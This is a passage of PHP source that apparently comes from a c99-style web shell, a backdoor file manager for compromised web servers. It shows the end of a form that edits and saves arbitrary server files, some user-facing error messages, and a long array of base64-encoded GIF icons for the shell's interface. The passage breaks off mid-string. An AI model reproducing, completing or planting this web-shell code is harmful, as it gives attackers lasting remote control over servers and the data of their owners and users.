echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=
".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save
\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\"
onclick=\"location.href='".addslashes($surl."act=ls&d=".substr
($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122
\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is
incorrect. If you think, it is mistake, please send us url and dump of \
$GLOBALS.</b></center>";}
else {echo "<center><b>Unknown file type (".$ext."), please select type
manually.</b></center>";}
}
echo "</div>\n";
}
}
else {
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIABAP///
wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///
wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/
3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///
yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6
/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///
yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/
CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/
n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/
v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf//
/wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///
wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///
wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/
jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///
wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN
/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////
wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/
+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
"2BZcwGDoEXk/
Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
"search"=>
"R0lGODlhFAAUALMAAAAAAP///
+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
"/
wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////
j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
"QhwcHP///
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==
",
"small_dir"=>
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////
wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/
MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq
/Nfo".
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4
/u31".
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/
b+rza+vP4".
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/
rXI8rHF8brM87fJ8nmP".
"wr3N86/
D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/
46v4Yuu4WZvfr7P6sPS6sDQ".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/
76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
"multipage"=>"R0lGODlhCgAMAJEDAP/////
3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
"sort_asc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///
wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
"sort_desc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///
wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
"sql_button_drop"=>
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A
/wD/".
"/////
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz
/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/
AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/
zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/
ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/
2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/
zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm
/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//
8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/
8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/
8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/
+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///
yH5BAEAABAALAAAAAAJAAsA".
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/
iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
"AQEAOw==",
"sql_button_empty"=>
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A
/wD/".
"/////
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz
/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/
AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/
zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/
ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/
2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/
zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm
/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//
8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/
8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/
8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/
+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///
yH5BAEAABAALAAAAAAJAAoA".
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
"sql_button_insert"=>
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A
/wD/".
"/////
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz
/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/
AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/
zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/
ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/
2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/
zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm
/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//
8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/
8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/
8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/
+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///
yH5BAEAABAALAAAAAANAAwA".
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/
FBf+y0jR48eQGUc6JBgQADs=",
"up"=>
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///
wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
"write"=>
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///
wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/
ze".
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
"ext_asp"=>
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A
/wD/".
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/
1eRgI".
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
"ext_mp3"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//
AAAAAAAAAANU".
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"ext_avi"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///
4CAgMDAwP8AAAAAAAAAAAAAAANM".
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/
IhBYTcjxe4".
"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
"ext_cgi"=>
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/
cMah6".
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/
Hv/S".
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//
4iEpQ".
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/
jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
"RYtMAgEAOw==",
"ext_cmd"=>
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//
AAAAAANI".
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
"dmrYAMn1onq/YKpjvEgAADs=",
"ext_cpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///
wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/
349FiNoFw44rtlqhOL4Ra".
"Eq7YrLDE7a4SADs=",
"ext_ini"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//
AAAAAAAAAANL".
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
"SnEjgPVarHEHgrB43JvszsQEADs=",
"ext_diz"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/
3J+l9bs".
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr
/+Dv".
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9
/8T3".
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/
8Tl98zr".
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/
09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/
2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
"4rfW+NXe6Oby/
5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
"Ow==",
"ext_doc"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/
4CAgAAAAAAAAAAAAANR".
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
"ext_exe"=>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///
wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
"xhIAOw==",
"ext_h"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///
wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
"Wq/NknbbSgAAOw==",
"ext_hpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///
wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/
d43yroKmLADlPBis6LwKNAFj7jfaWVR".
"UqUagnbLdZa+YFcCADs=",
"ext_htaccess"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//
AAAAAAAAAAM6".
"WEXW/
k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
"AAA7",
"ext_html"=>
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd
/HNz".
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/
4GhbFoXJEO1CANDSociGkbACHi20U3P".
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/
MK8KBDk".
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
"ADs=",
"ext_jpg"=>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/
AIAAAACA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/
NZqgftd".
"FxEAOw==",
"ext_js"=>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//
wCAgAAAAAAAAAADUCi63CEgxibH".
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
"a00AjYYBbc/o9HjNniUAADs=",
"ext_lnk"=>
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/
JlfFLFS6K1rGLWjO".
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/
lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
